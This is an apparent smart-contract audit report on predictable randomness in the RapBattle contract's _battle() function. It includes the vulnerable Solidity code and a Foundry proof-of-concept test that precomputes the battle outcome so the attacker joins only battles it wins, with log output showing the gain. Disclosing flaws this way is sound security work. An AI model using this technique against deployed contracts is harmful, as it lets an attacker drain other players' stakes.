Summary
The RapBattle::_battle() function uses deterministic values for randomness, letting attackers join battles risk-free.
Vulnerability Details
RapBattle::_battle() uses deterministic values like block.timestamp, block.prevrando, and msg.sender to calculate a random number,
known to all. An attacker can create a contract an exploit this by pre-checking if they can win before joining the battle, ensuring
no risk of loss.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
@> uint256 random =
@> uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
@> if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Impact
Here's a fuzz test: the attacker checks if they can win the battle before calling rapBattle.goOnStageOrBattle. The assert ensures
that the test fails if the attacker's balance increases after the battle.
function testNoRandom(uint256 randomTime) public twoSkilledRappers {
vm.warp(randomTime);
console.log("Attacker balance before :", cred.balanceOf(address(challenger)));
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(challenger)))) % totalBattleSkill;
@> if (random > defenderRapperSkill) {
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
console.log("Attacker balance after :", cred.balanceOf(address(challenger)));
assert(cred.balanceOf(address(challenger)) == 4);
}
}
Output
Logs:
Attacker balance before : 4
Attacker balance after : 7
Tools Used
Manual review and Foundry
Recommendations
For secure on-chain random number generation, consider external oracles, verifiable off-chain computations, or robust cryptographic
methods like commit-reveal schemes and VRFs.